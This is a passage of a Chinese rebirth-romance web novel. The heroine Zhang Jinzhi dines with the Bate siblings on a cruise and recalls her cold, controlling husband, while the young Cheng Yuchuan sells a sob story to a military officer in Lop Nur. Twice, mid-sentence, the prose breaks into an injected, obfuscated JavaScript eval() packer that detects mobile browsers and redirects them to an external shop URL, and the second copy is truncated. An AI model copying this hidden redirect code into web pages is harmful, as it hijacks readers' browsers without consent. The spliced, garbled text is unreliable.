还不等章矜之开口,他便先笑道:“我的中文名叫倪恪,尼克·贝特。昨天我们才见过的,我妈妈还夸你非常漂亮。” 这是贝特家的大公子,尼克·贝特。他小妹妹叫妮娜,中文名便是倪娜。 他妈妈贝特夫人中文姓氏就是倪,贝特夫人有二分之一的华裔血统,且中文说得十分流畅,于是多少也遗传到了一双儿女的身上,这位大公子就完全可以用中文和人无障碍沟通。 或许是中文说得太熟练的原因,在尼克这张已经明明被稀释到只剩四分之一华人血统的脸上,倒是更添了几分明显华裔感。 昨天和贝特一家寒暄碰面的时候,章矜之是见过他一面,不过当时两人并没有说话。 章矜之对他微微一笑,保持着疏离的客气感:“谢谢你,不过我现在已经没事了。” 她瞥了眼尼克的手臂,他的手臂仍旧保持着那个揽在她腰后的姿势。 闻言,尼克倒是爽朗一笑,抽回了手:“矜之,Tiffany,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055012|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴认识你,你就像你爸爸妈妈之前描述的那样漂亮动人。对了,我们等会一起去吃个饭?” 章矜之稍稍往边上挪了挪,和他保持着一定的距离:“那就不用了,我和我哥哥——” “对不起。” 尼克打断了她,琥珀色的眼睛也黯淡了下去,小心翼翼地和她道歉, “对不起,是我刚刚忍不住夸你漂亮,让你感到冒犯了吗?实在抱歉,这不是我的本意。” · 上辈子,章矜之和尼克·贝特这个人几乎毫无交集。 她前世唯一一次听到有关尼克的消息,还是她无意间听程愈川提了一嘴: “贝特家的大公子前几天死了。……那小子玩心重,不想着继承家产,就喜欢到处去探险,这回是死澳洲的沙漠无人区里了,找到的时候就剩半条腿。老贝特就这么一儿一女,最近都要哭死过去了。” 现在算算,他死的时候大概才二十五六吧。 和前世相比,她重生后人生轨迹发生的第一次显而易见的改变,就是她决定和尼克吃了这顿饭。 不只是他们两个人。 章矜之和韩复宇,尼克,还有尼克带来了他五岁的小妹妹妮娜,四个人今晚吃的是火锅。 自然了,大富豪家未成年的公子千金在游轮这种鱼龙混杂的地方是不可能就这么随随便便出来和别人吃饭的,他们身后自有便衣的保镖不远不近地跟着盯着。 韩复宇或许看不出来,但章矜之绝对能察觉到。 因为从前程愈川就是找人这么跟着她“保护”她的,以至于她那么多年在A大上的每一节课里,阶梯教室中都要坐着几个他的保镖乔装学生盯着她。 她拿着不到两万一个月的大学老师工资非要去工作,程愈川付给那些跟着她的保镖们的工资,一个月的安保费一百万都打不住。 她实在太熟悉这些人的身形气质和工作时全神贯注的状态了。 和程愈川闹离婚时,她曾一度坚持自己在外租房子住,她不想要他提供的金屋豪宅似的囚笼,也不需要他派来这些司机、保姆和保镖们围着她团团转,不想要这种在外人眼里无比“高贵”的贵妇待遇。 哪怕一个人租房子住,不花他一分钱,靠着她自己的工作,她也能体面地活下去。 可程愈川是怎么回复她的呢? 又一次夫妻争吵过后,她当时一边哭一边在收拾自己的行李想要搬出去,程愈川默默地盯着她的动作看了一会,然后又玩味又不屑地把她拉了过来,将她按在卧室卫生间洗漱台上,扣着她的下巴让她看着清冽镜面中那个披头散发泪容满面的自己,对她冷冷道: “你不就是不想花我的钱么?矜之,你是不是觉得你是在做一件很聪明、很有意义的事情?你觉得只要不花我的钱,这样就会让你显得很独立,很高贵?” “呵。”他语气极轻蔑的冷哼。 “程夫人,你要不要用你的脑子想一想,以我的身家,现在有多少人想要绑架你来找我讹一笔钱的?只要你离了我、离了我的保镖们半步,你马上会被绑去东南亚还是运到墨西哥都没人知道,被人五花大绑装在汽车后备箱里的时候,你那哭得楚楚可怜的样子最独立、最高贵。” “当然了,你是我的妻子,我赚钱没有不花在你身上的道理,对不对?你要是被人绑架了,他们朝我要多少钱我都给,一亿?五亿?还是十亿?只要能保你平安,我都能给,我一定会救你回来的,毕竟我这么爱你呢,矜矜。” “可你到头来做的这一切有什么意思呢?你最后不还是花了我的钱吗?你是愿意养尊处优、锦衣玉食舒舒服服地住在别墅豪宅里花我的钱,还是被人绑架之后嘴里塞着抹布、被人各种折磨,然后哭哭啼啼地花了我的钱续上你的命?” “你自己选。” …… 章矜之将自己的视线从贝特家的保镖身上收了回来。 她希望他现在就死在那遥远的罗布泊。 8. 无子婚姻 这边的餐桌上,尼克和韩复宇颇有一见如故的架势,到底是年岁相当,又都是少年男孩,两人从体坛明星NBA世界杯聊到各种业余爱好,桌上的气氛十分热烈。 章矜之没什么想和他们交谈的兴趣,五岁的小妮娜乖巧可爱,活脱脱一个精致的混血洋娃娃,她一直忙着照顾小妮娜,又怕妮娜烫到,都是她帮妮娜在捞火锅里的食材。 妮娜牵着章矜之的衣袖:“姐姐,我想喝冰镇可乐。” 章矜之闻言下意识地望向尼克,终于主动开口和他搭话:“尼克,你爸爸妈妈平时允许妮娜喝冰饮料吗?” 到底是别人家的孩子,又是这样的金贵千金大小姐,自然是要多注意些的。 尼克从和韩复宇的聊天中转过身来看她,愣了下,而后爽朗大笑,竖起一根手指头:“给她一罐果汁吧,常温的。” 章矜之怕妮娜不开心,又温柔小心地哄她:“那姐姐和你一起喝果汁好不好?喝果汁会漂亮哦,会变得像水果一样甜甜的,妮娜想要变成什么水果?是草莓仙子还是芒果公主?” 妮娜也嗲声嗲气地回答:“我喜欢Grapes!我要做葡萄仙子,姐姐是葡萄女王,我们干杯!” 章矜之笑着应下:“哇哦,所以你喜欢葡萄的紫色对不对?今天你就穿了紫色的小裙子呢。” 这姐妹情深的画面令对面举着啤酒大谈特谈“下赛季你防詹姆斯”的尼克和韩复宇格外震撼。 两人愣愣地评价了一句:“矜之,看不出来你还这么喜欢小孩子。” 尼克补充:“我爸妈平时哄她都没有你这么耐心。” 章矜之的笑意微不可查地顿了顿。 十七八岁的少年男女或许对哄孩子不感兴趣,但一个三十八岁的婚姻里的怨妇,总归对孩子有些不一样的态度的。 她是不怎么抗拒孩子的,在和程愈川结婚时,她也曾认真考虑过他们以后有孩子的事情。 甚至前世的她一度认为自己可以说是个有些传统的普通女人,喜欢家庭,重视夫妻关系,自然而然地期待孩子的到来,人生目标就是把生活循规蹈矩的过下去。 可是后来十六年的婚姻里,她和程愈川两个人身体都没问题,包括后来以程愈川那样的身家,都足以称得上一句“家里有皇位要继承”,为什么他们却没要孩子? 是程愈川不想要孩子吗?是程愈川不想她生吗? 他想得很。 是她不想跟他生。是她已经没有跟他生孩子的勇气了。 …… 两人婚后第一次严肃的谈到关于孩子的事情,是他们三十岁那年。 章矜之二十八岁时才博士毕业,在她读研读博期间,他自不可能在这个时候让她怀孕生子的。 可三十岁了,不小了,那时的程愈川已经是个成功的白手起家的商人,说是业内新贵也不为过。 他们夫妻俩没有任何经济上的压力,只要她愿意生,从怀孕到生产、产后,都会有最好的医疗资源、最好的保姆佣人们围着她伺候她,不会让她多受一点委屈。 如果他们真的能有个孩子,那这孩子也必是含着金汤匙出生的人间顶级好命。 他们这样的人,要是这个时候了还没有要孩子,那才是值得叫别人奇怪的呢。 程愈川和她说,他想要一个孩子,他已经三十岁了,他想要一个更完整的家。 而章矜之当时什么东西都没有向他要。 她既没有索要什么生育补偿,没有要什么豪宅豪车,也没有提前未雨绸缪地和他谈判,要他承诺给她和孩子什么未来的保障。 她需要的是陪伴,是丈夫的爱和呵护。 她只问了他一个最简单的问题,我十月怀胎期间,你能一直陪在我身边照顾我吗? 至少每周在家住三天,至少我每一次产检你都要陪着我,我生完孩子最虚弱的那段时间里,至少你每天晚上都要回家看看我和孩子吧? 我不指望你给我端茶倒水,也不指望你给孩子哄睡觉换尿不湿,但我只要你人能回家,哪怕就是坐在我的床边,花上半个小时的时间,静静地陪着我,看着我而已。 你能做到吗? 然后他就沉默了。 这个话题就不了了之。 第二次他再提要孩子,就是一年之后。 章矜之面无表情地跟他说,她还是那个要求,只要他能保证做到,他们随时可以要孩子。 ——那时候他们分居两国已成定局了,聚少离多也是从那时候就有了的,谈何恩爱?谈何陪伴? 于是程愈川又沉默了。 但这一次,他在短暂沉默之后,忽然开口对她说: “如果我可以给你足够的物质上的补偿,你还想要什么,条件随便你提,你愿意给我生个孩子吗?” 章矜之大概也是在这一刻彻底意识到,她和眼前的男人再也没有什么“情意”可谈了。 他已经冷漠到了认为所有的事情都可以用钱来解决。 而她在他眼里就像是一个不安分的生育机器,他开始尝试着往里面不停地充值,输入一个个数字,他在嘲弄地试探到底多少钱才能让这台机器运转起来,让他可以如愿以偿地得到一个孩子。 章矜之被气到头脑一阵发晕,好半天,她剧烈的心跳才终于平复过来。 她满眼讥讽地淡淡开口:“生是可以生,就是生下来未必和你有一个祖宗,你愿意认吗?你认,我就生。” 他先是一愣,后面色沉沉地含怒拂袖而去,两人不欢而散。 程愈川这种人的自尊心诡异的强,在这之后,他就没说过要孩子的事了。 他想要孩子,但他知道,只要他一提孩子,就势必会遭到自己妻子的冷嘲热讽,就好像是他有求于她不得不向她低头一样。 所以和自己的尊严相比,他宁可选择不要孩子。 等章矜之到了三十五岁时,反而是她开始有些着急孩子的问题。 当然,她不是后悔之前没和他生,也不是着急现在要和他生。 她是着急和他办离婚。 她的意思是,她是准备要孩子的,但她更准备给自己的孩子找一个顾家的靠谱的爹。 所以她希望程愈川能快点和她离婚,让她能恢复单身再寻良人,这样还赶得上让她变成危险的高龄产妇之前,再婚生育,有个自己的孩子。 程愈川当然是死活不离,并且又被她气得太阳穴突突跳个不停。 但这种话题提了一次两次他生气,说多了之后他也免疫了,之后章矜之再说这些话时,他的脸色又还是一贯的从容不迫,淡定自若。 ——他的自尊心真的太强了,甚至于章矜之一度觉得,他是不允许自己在她面前流露出生气的表情的,他不允许自己因一个女人的挑衅而愤怒伤身。 很多时候,她知道他气得要死,但他就是非要绷着一张面无表情的死人脸。 他向她递来一张卡,从桌子上推到她面前。 “对,这都是我的原因,因为我的工作,让你不愿意为我生孩子,让你不能拥有自己的孩子,矜之,我很抱歉。这是我给你的一点补偿,你看看够不够。不够,你可以提。” 他是忍得住愤怒的人,章矜之就不行。 或许她真的是个娇生惯养、习惯了别人对自己千依百顺的大小姐,和大部分人刻板印象里的坏脾气大小姐一样,她生气了就喜欢砸东西摔东西。 结婚十六年来,她靠着物理意义上的打砸摔都弄 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他就让人专门买这些东西回来,放在家中显眼的地方供她砸,等她砸完了他再买。 这或许是爱?是宠溺? 不,他只是拿她的焦虑和痛苦当做取乐。 她一生追求体面优渥的生活,她想要活得体面,做一个情绪稳定、看上去就过得很安稳的女人,程愈川就非要逼得她去做这些不体面的事情。 而他,永远稳坐高台,淡漠依旧。 章矜之那时候在A大任教,做历史系的老师。 她还记得,历史系学院楼下常年有几只流浪的校园大肥猫,这些猫的脾气都很坏,有时候为了争抢学生投喂的猫条还会大打出手,猫叫声乱作一团,猫毛乱飞,引得一群学生驻足围观。 他们都觉得很有趣。 后来还有学生专门买了一些猫玩具丢到楼下,他们绝不是那种正常的、出于爱心的去投喂猫咪,而是把玩具或者零食故意丢在两三只猫中间,让几只猫去争抢、撕咬玩具,看着它们把玩具撕碎扯破,看着那些猫咪互相争斗。 一点便宜猫粮猫条,一些便宜的猫玩具,值几个钱? 但引诱猫咪做出这样的行为来让人欣赏取乐,给他们带来的趣味是无限的。 程愈川在婚姻里同样擅长做这种事情。 她不要成为男人取乐解闷的工具。 · “你也喜欢户外探险?” 韩复宇一拍大腿,“我们中国有个有名的无人区,罗布泊,你听说过吗?有兴趣吗?那儿还有个挺有名的楼兰古城遗址,小河公主就是那儿挖出来的。诶,我有个计划我说给你听听……” 章矜之还在出神地追忆往昔时,尼克和韩复宇已经聊到了他们最疯狂的户外探险爱好,听到尼克说自己很喜欢探索征服大自然时,韩复宇这厮果然又来劲了。 等章矜之回过神时,他已经把今天刚对着她说过的有关程愈川的事情全和尼克说了一遍,并且又翻出了程愈川的那张照片,递到了尼克面前。 尼克听得入神,看着那张照片,也大惊,跟着赞叹道: “我喜欢这样的兼职,比什么去便利店服装店打工或者进我爸的公司实习要有意思多了,也酷多了!” “你这个朋友真了不起!用咱们中国的古话说,此乃真大丈夫也!” 尼克一边又打开了一罐冰镇啤酒,一边不忘感慨:“要是有机会的话,我还真想认识一下你这个朋友,到时候我们三个人一起组队去罗布泊探险。” 同一时刻,有人在万里之外的罗布泊无人区也打开了一罐啤酒,但这罐啤酒当然是没有冷气的。 这是东经九十度在罗布泊上的傍晚日落时分。 9. 蒋淮勋 程愈川和他的师傅又接了一单活,是深入无人区一百多公里的一只穿越小队打来的卫星电话,要求紧急补给物资的,要油要水要食物,还要带一些汽车零部件来修车,显然是遇到了点麻烦。 不过这次卫星电话打过来后,他师傅和同事们倒没敢趁机宰客,甚至还讨好地给打了个友情价,只收人家六千块。 ——因为对面这一行人里,领队的那个队长听说是个部队里的军官,很有实权在手,虽然人家只是趁着难得休假出来玩玩的,管得也不是他们这一块地方,但光是那个身份就足以让人畏惧几分,叫旁人不敢在他身上多耍什么小心思。 师傅带着程愈川连夜装载了各种东西,又一次不知疲倦、不畏生死地踏上了疯狂的冒险之旅。 到达指定地点时正是黄昏薄暮,这一行人有七八个人,都是魁梧雄伟的中年男人,言谈间也是一股常年行伍的味道,应该是一群玩得好的战友组的局。 他们这趟也不是为了部队里的任务来的,看样子都是在休假期,几个战友难得出来聚一聚,联络下感情。 老师傅和程愈川用带来的零部件把两辆趴窝的越野车修好,加满油,又把剩下的两桶95汽油装进客人的后备箱里,这一顿忙活完后,两人身上俱是汗渍油渍交杂,狼狈得都快没了人形了。 程愈川肩上的那处尚新的伤口也还在不停地作痛着。 而另一边的几个男人则已经忙着准备起了晚饭,又点起了篝火,看样子是准备吃烧烤。 虽然趴窝了两辆车,但仍阻挡不了他们在野外的好兴致。 那老师傅从车底下钻出来,一脸的机油灰,边上一个山东口音的男人就上前打趣道: “多危险呢,这鸟不拉屎的地方,就带一年轻孩子来帮忙啊?也不怕没大人帮个照应的?我看人家过来送油送水的,少说也是四五个人开两台车来的啊。” 他话刚说完,又一个东北口音的男人笑道:“你还指望来几个人?给你整个迎新娘子的车队来成不成?一共那几千块的服务费,再多带一个人来,人家这趟工钱都不够分的了!那都不够本了。年轻孩子好嘛,跟着师傅打打杂就够了,反正他怕师傅,也不敢多要师傅的工资!” 这话一说完,几个男人都是一阵大笑。 那老师傅也是老油条的人精,立马解释道: “您玩笑呢,一是我带的这徒弟有经验,他半大小子顶得上三五个大人,一身牛劲比我们三四十的大人还好使。 二来这缺钱的也不是我呀,我不是为人家孩子找工作嘛,就这六千块钱,我该拿多少就多少,他多干一个人的活,我就多分他一分钱,这可怜孩子等开学了也够养活自己的了。” 他三两句话就把话头转到了程愈川的身上,几个男人便转头看向那十六七岁的少年,一脸稀奇地打听了句:“这孩子怎么了?” 老师傅一边抬手用胳膊肘子擦了擦眼角的汗渍,一边放低了声音随意叹了口气, “这孩子生得不巧,当年投胎生在S市了,普通农村娃,就地震那年生的。还没满月就遭了天灾,几十年难得的大地震,就叫他赶上了。他父母都地震里过世了,当时两口子把他护在怀里,他嘛,捡了条命。” “然后就是家里的老头子带他,带到四五岁,上面的爷爷也没了。家里旁的亲戚七七八八也在地震里死了不少,也没人看顾他,所以好不容易辗转让老头子以前的战友养了,认了个干爷爷,这还是送到好远的省外呢,送到许江市的。” “那老战友,这个干爷爷,待他的心真是好心啊,可是干爷爷人老了,家里的情况也……就这么爷孙俩又相依为命孤苦伶仃好多年。” “我自己家老爷子,我父亲,和他干爷爷以前有交情,这孩子就想着到我这里寒暑假来打打杂,赚点钱,这孩子都是靠他自己的,人也上进,什么脏活累活都肯干。自己赚钱交学费杂费,还给他干爷爷买吃的喝的新衣裳,亲儿子亲孙子也没有这么孝顺的。” 老师傅不愧是老师傅,寥寥数语,便将一个家境贫寒、孤苦伶仃但自强上进、肯拼敢干的少年形象描绘得分外形象。 尤其这个故事还是讲给了一群当兵的听,提到了他们最爱吹嘘的战友情兄弟情,更是触人心弦、叫人动容。 眼见几个当兵的中年男人眼角的泪花都有点被催出来了,老师傅继续趁热打铁, “其实咱这孩子真是聪明孩子,别看人家现在都干我这苦活,实际上他真是个用脑子读大学的好料子。人家成绩还很好,今年是上高中了吧?呐,中考是本市市状元,高中成绩那都是年级第一第二!同班同学暑假都在空调房里爹妈花钱请人补课呢,他呢——” “叫什么名字?你过来,上我这来。” 不远处的篝火旁,有个大约三十七八岁的中年男人一直沉默地坐着,正是老师傅先前话中说的那个领队的有实权的军官。 他看上去为人分外刚毅冷肃,轻易也不开口和人玩笑,队伍里的其他几个当兵的都对他很敬畏似的。 然而他就在这时突然开了口,眼神所望的是程愈川站立的方向。 程愈川顿了顿,还是提步向他走去,在离他几步的距离处停了下来。 蒋淮勋又问了一遍:“叫什么名字?哪年哪市的中考状元?” 大约大部分中国人对那种成绩格外出众、本人格外上进肯吃苦的贫苦孩子都是愿意无限包容共情的,只要自己有那个条件,也大多愿意慷慨解囊相助。 程愈川不卑不亢地和他直视:“程愈川,前程的程,愈合的愈,山川的川。我是去年中考的,在许江市考的。” 蒋淮勋听罢顿了顿,了然地颔首:“愈合山川,愈合山川……你这个名字取得好,真是从地震里活下来的孩子,假不了。你有这个心气也难得了,看你真该有个好前程。” 愈合山川,这是个在地震后凝结了无数人伤痛和血泪的最虔诚的愿景。 从面向来看,蒋淮勋应该也是北方男人,身形健硕高大,剑眉星目,五官英气硬朗,大约是常年待在部队里的原因,他的皮肤并不是精致的白皙,倒有点粗犷的古铜色。 同样大概是在部队里积威甚久,常年发号施令惯了,他呼出的每一口气都带着下意识对人命令的味道。 难怪那老师傅不敢多讹他钱,另外几个当兵的男人也都有些怕他。 只有程愈川仍然是那从容自若的神色对他。 蒋淮勋回到自己的福特远征车里,取出自己装现金的钱包,头也不抬地随手点出三千块,态度十分平和地递到程愈川面前。 “拿着吧,地震里活下来的孩子都不简单。一点心意,你开学回了许江继续好好念书,以后读出书来,好好孝顺你干爷爷。” 程愈川也不扭捏推辞,依然是不卑不亢地接过,也礼数周到地谢过了他。 蒋淮勋这个大哥都这么表示了,那几个当兵的也纷纷慷慨解囊,加上他们本来也不缺钱,一千的八百的,少也有五百三百的,多少都给了一些。 这一趟,程愈川和他师傅算是大赚特赚了。 这也是他和他师傅在罗布泊的一个生财之道。 卖情怀。 不是跟乞丐要钱一样在大马路上随便拦个人就哭着要卖身葬父的。 他们卖情怀,是专门给这些有钱有闲、又爱情怀的中年男人提供施舍仁慈的舞台。 这个年代,能开着少说起步就八九十万的越野车到罗布泊来玩探险的,百分之九十以上都是有钱烧出来的,这些人最不差钱了。 有蒋淮勋这种部队里的军官,更多的是一些土豪大老板。 只要老师傅和程愈川发现对面的客户是大肥羊,那都是一边修车加油一边开始讲故事,先把自己的本职服务给做好了,叫这些大老板高兴舒坦了,再连带着售后营销。 讲得那些有情怀的大老板们感慨万千,立马开始打赏,口口声声都是说这小伙子不容易,颇有我年轻那阵白手起家创业的风范啊! 此子甚类我! 赏,那必须得赏,这也是馈赠年轻时的那个我自己啊。 当然,万一硬是碰到了一毛不拔的铁公鸡,不愿意为这个感人泪下的故事买单,那该怎么办呢? ——那也不必太强求人家慷慨解囊,不打赏就不打赏呗,就把送油送水的服务费收得高一点,能讹一点是一点,到底在这无人区里累死累活的一趟,占不到便宜就是吃亏。 因此,要是在为了服务费讨价还价的过程中和人拉拉扯扯争执着没完,那就不仅打赏钱要不到,严重的时候还要闹到动拳脚的地步了。 要不然程愈川肩上的伤是怎么来的? 不过不管这么说,今天这场营销,那就很成功。 因为蒋淮勋的出手阔绰远超他们的预期,这是他们一整个夏天遇到的最大方惊人的主了。 收下了钱,程愈川回到他师傅开来的车后备箱里,搬出一箱啤酒,一罐罐递到那些正在闲聊的男人们手边,又帮他们打开。 一箱啤酒而已,又不是什么值钱的玩意儿,不过在这无人区里能来上一口,那也是实在难得。 看着荒漠落日圆,坐在越野车前,吃着烧烤,侃着大山,身边是多年的战友兄弟,眼前是壮丽美景,再来上一罐啤酒,真几乎是世间所有中年男人心目中的人间享乐事也。 蒋淮勋坐的和他几个兄弟都较远些,他兄弟们在一旁胡吹滥聊,他只是神情温和地默默听着,很少主动开口说些什么。 只是观察了这片刻的功夫,程愈川便已能发觉这男人实在是有些过分的冷僻和孤寂感。 程愈川拿着两罐啤酒向他走近,蒋淮勋漫不经心地抬起眼皮看了他一眼,指尖点了点自己身边的一块岩石, “打开吧,放这就行。” 程愈川嗯了声,因为这块岩石台面比较低,他弯了个腰俯下身体,然而就是这一俯身的动作,他外套内口袋里掉啪嗒掉下了一个东西。 那是一条可以内镶照片的吊坠盒项链,椭圆形的吊坠盒里放着一张一寸大小的照片。 正是被摔在了地上,吊坠盒因此被打开,内置照片的那一面摔向了面向蒋淮勋的方向。 蒋淮勋听到声响,警觉性让他下意识地侧首瞥了一眼那掉在地上的小东西。 夕阳尚未散尽的一束昏黄光晖打在这张照片的正面,蒋淮勋原本只是淡淡地一瞥,下一瞬整个人陡然紧绷起来。 在程愈川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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照片里的女孩子看上去便是富裕人家的千金大小姐气度,说明她母亲嫁的很好,她的丈夫待她也很好,她过得很幸福。 他没有必要再去找她,没有必要再去打扰她的幸福。 他的心结应该了了。 蒋淮勋把吊坠还给了程愈川,哑声问了一句:“这是你女朋友?” 程愈川一时愣住,沉默不语,并未回答。 没有回答那就是默认。 蒋淮勋苦笑了下:“她是哪里人?知不知道她父母是做什么的?她家里条件怎么样?” 他这话一出,边上的几个战友兄弟纷纷投来异样的目光,到底这么多年没见过蒋淮勋会对别人的私事这般好奇的刨根问底。 气氛一时有些凝滞的尴尬,程愈川依然沉默不语,就定定地站在那里。 虽然蒋淮勋刚刚资助了他一笔不菲的钱,但以程愈川的性格,让他把自己女朋友家里的事情拿出来和别人议论短长,也绝不可能。 老师傅上前瞅了一眼,拍了拍程愈川的背,把他护到自己身后,随意对蒋淮勋打了个哈哈, “半大小伙子谁还免得了那点破事,有个女朋友也不稀奇。这姑娘嘛,是同学吧?真是千金大小姐,家里有钱得很呢,以后两人能不能成都难说,也就是玩儿的!” 蒋淮勋抬起眼皮笑了笑,转身又从自己钱包里点出两千,从车内翻出一支笔,在第一张百元大钞上写下自己的号码,将一沓钱递给程愈川, “谈女朋友了也免不了多花点钱,到底你是男子汉,别在女孩子跟前哭穷卖惨说不容易,给女朋友花钱也是应该的。拿着,以后和这姑娘要真能成,给我打个电话,记得请我也来喝个喜酒。” 程愈川和他师傅收拾好工具箱和各种杂乱的东西后便驱车离去,在夜色中再度穿越一百多公里驶出无人区。 两人走后,蒋淮勋仍然静静地坐在那块岩石上,神情有些恍惚在外的失神。 有人大着胆子上前拍了下他的肩膀, “蒋哥,那小子的女朋友怎么了?你怎么心不在焉的?” 蒋淮勋点了根烟,直到他长长吐出一个烟圈后,他才红着眼睛忽然低声开了口, “那女孩子长得太像纪……” 某个最荒唐的时刻,他甚至一度激动地幻想那个女孩子会不会是他们的女儿。 假如他们当年在一起,假如他们有个女儿,一定就像那个女孩子一样漂亮。 可他们当初又并没有过肌肤之亲,他连碰都没有舍得碰过她,这怎么可能会是他的女儿? 只会是她和别的男人生的孩子罢了。 程愈川在回去的路上,把今天从蒋淮勋一行人那里收到的钱分了三份,取出三分之二递到了他老师傅的钱包里, “师傅,谢谢您了。” 老师傅瞥他一眼,只拿了这三分之二的其中一半,又退了一半丢给他。 程愈川将那些钱叠好,塞进自己外套的内侧口袋里。 肩上的伤口依然在痛,但他绝不后悔,这一切都是值得的。 他的手下意识抚过口袋里的那条项链,想到被妥帖地收藏于吊坠盒中那个女孩的容颜,心头也会泛起万千波澜。 有苦涩,也有甜蜜, 有他心底最静谧柔软的温情,也有为了得到她而燃起的最澎湃昂扬的斗志。 一切都因她而起。从有了她开始,他的人生才开始有色彩,他才觉得自己是真切的活在这世上的。 章矜之,章矜之。 他在心底一遍遍地念着她的名字。 他多希望自己这一刻就能出现在她面前,能亲口叫出她的名字。 10.他的消息 “矜之。” 尼克又喊了章矜之一声,一再邀请她和韩复宇明天再度聚餐,说他和他们玩得很开心。 刚才饭后韩复宇抢在尼克之前去结了账,尼克为此面上很过不去,因此又提议要再请他们兄妹吃饭,说是游轮上的米其林星厨在独立包厢为他们准备的主厨私宴。 章矜之本不欲赴约,又耐不住妮娜也软言软语地跟着她哥哥一再邀请,最后只得答应了下来。 四人饭后分别,章矜之小心地把妮娜交到尼克手上,尼克这厮带妹妹就很粗糙,随手揪着妮娜的辫子就要把她拎着回去,章矜之叹了口气,也不好再追上去说什么。 事实上,章矜之心中很是无奈,这倒不是因为尼克这种带娃方式,而是因为尼克的前世之死。 她知道尼克这种人探索欲重,属于中国人印象里刻板的“外国为什么人这么少”里面的那种典型的有钱有闲不上班不怕死还爱玩的老外。 她和尼克没有什么故交往来,也谈不上为尼克前世的死而悲痛欲绝,但因为自己父母和贝特一家是朋友的缘故,看着一个好好的大活人在二十五六岁的年纪就没了,总归还是有那么一点惋惜的意思在的。 所以,在今天晚上决定和尼克吃顿饭时,她考虑过如何委婉地向他表示劝解,至少能和他说几句以后在外面征服大自然的时候注意一下安全的话。 可最终结果竟然是适得其反,她不仅没能劝上两句,反而让尼克和韩复宇这两个疯子碰头了,两人居然还考虑拉上她的前夫一起去无人区喂熊。 光是在脑海里想象一下那个画面,章矜之便觉得一阵恶寒。 但愿他们俩只是在胡言乱语地互相吹牛皮罢了。 尼克之后的几天里时不时地就来找章矜之和韩复宇出去玩,但章矜之有意和他保持些距离,除了赴约去过那次米其林主厨私宴之外,她就没再和尼克有过什么互动,尼克也只能拉着韩复宇在游轮上上蹿下跳地到处溜达。 · 十天九夜的游轮之行结束,“翡翠公主号”游轮在日本的横滨港停靠,两家人在东京游玩了几天后才飞回国内,到达许江市时已是这年的八月初了。 他们两家人也给家里的其他亲戚朋友们挑选了各种礼物,这一趟算是满载而归,加之离家多日,回来的时候免不了要各种大家庭聚餐。 午餐是在章矜之爷爷奶奶家里吃的,晚餐则去外公外婆家。 坦白来说,就自己的前半生而言,章矜之一直自负于自己有着体面的家庭和通情达理的亲人,她一度以为自己在这个大家庭中过得很幸福。 不管是爷爷奶奶家还是外公外婆家那边,两家人的关系都是和和睦睦的,大抵因为生活优渥,没人计较那些三瓜俩枣的得失恩怨,所以既没有什么姑嫂大战,也没有婆媳矛盾,更没有妯娌争风,亲戚家人之间都是互相理解的,而且感情一直都很好,逢年过节和平时都有定期聚餐,气氛温馨。 她从小被两家老人照看长大,从来没有听爷爷奶奶背后讲过哪个儿媳妇的坏话,也没有见外公外婆埋怨自己女儿在婆家生孩子坐月子受了委屈等等。 什么家长里短、琐碎纷争,于她而言都是不存在的。 她爷爷奶奶和外公外婆都有着不菲的退休工资,以前都是各自单位里的重要人物,爷爷还曾是空军的飞行员和飞行员教官,家里的亲戚长辈亦有稳定体面的工作,无外乎是医生、老师、律师、各种单位内的领导等,大家的生活都过得风生水起,家家幸福。 可是后来,当这些人…… 她闭了闭眸,不想再去回忆那些痛苦的记忆。 当她提出想要离婚时,她记忆里那个体面的大家庭瞬间分崩离析,一张张狰狞扭曲的面孔在她面前嘶吼着、哭诉着: “你为什么这么不懂事?你为什么要离婚?” “你这样会毁了我们所有人的!” 这也是她对这桩婚姻的最痛恨最厌恶之处。 失败的夫妻关系不仅毁掉了她梦想中的爱情,更毁了她的家、毁了她赖以寄托情感依恋的一切。 她永远都恨那个男人。 但重生过一遭的她并未在这两场家族聚餐上表现出任何的异样。 她还是那个乖巧懂事的女孩儿,笑着给爷爷奶奶和外公外婆送上补品,给伯母和舅妈送上在日本买的护肤品,给表哥的球鞋、堂姐的耳环。 这个大家庭温馨如故。 深夜,从外公外婆家结束晚餐后,章起卫驱车带着妻女回到了他们位于雪湖园的独栋别墅里。 别墅内外装修十分奢华靡丽,附带的花草庭院也被设计打理得雅致精巧,还有一方小小的池塘,里面种着睡莲水草,还养着几尾漂亮的锦鲤。 章矜之家里有常用的保姆、厨子和司机。 风尘仆仆地终于回到家后,章矜之把行李箱丢在一边,先去了一楼的厨房里,咕咚咕咚端起杯子先喝了大半杯水。 别墅的保姆琳姨说有从国外寄来的包裹,是贝特夫人寄来送给章矜之的,是补给她今年六月末的生日礼物。 一只卡地亚的手镯。 款式价位选的也很合适,以章矜之家里的收入和消费水平作为对照,既做到了比她平时用的价位要高出一大截,让她觉得自己被重视了,又没有直接送一个价格高的太过离谱的,以免让她感到压力和不适。 章矜之忽地冷笑了下:“这是尼克·贝特用他妈妈名义送给我的吧。” 游轮在东京靠岸的时候,尼克还一度说想去中国玩一圈,让章矜之和韩复宇给他当导游,但是被他们两人一起给回绝了。 她冷冷地把还未拆开包装的礼盒丢回桌子上,“我不想要。我和他没有熟到这个地步。” 她对尼克没什么兴趣,现阶段她生活的重心也不在一个随随便便冒出来的外人身上。 想起尼克,章起卫也皱了皱眉,“矜矜,没关系的,你先收下,不用理他。过两个月他们那边感恩节的时候,我们出面给尼克准备礼物打发回去,他自己心里会清楚的。这个手镯就当是爸爸妈妈送给你的礼物。” 章矜之疲惫地回到自己位于二楼的卧室内,洗漱一番后瘫倒在柔软的大床上发着呆。 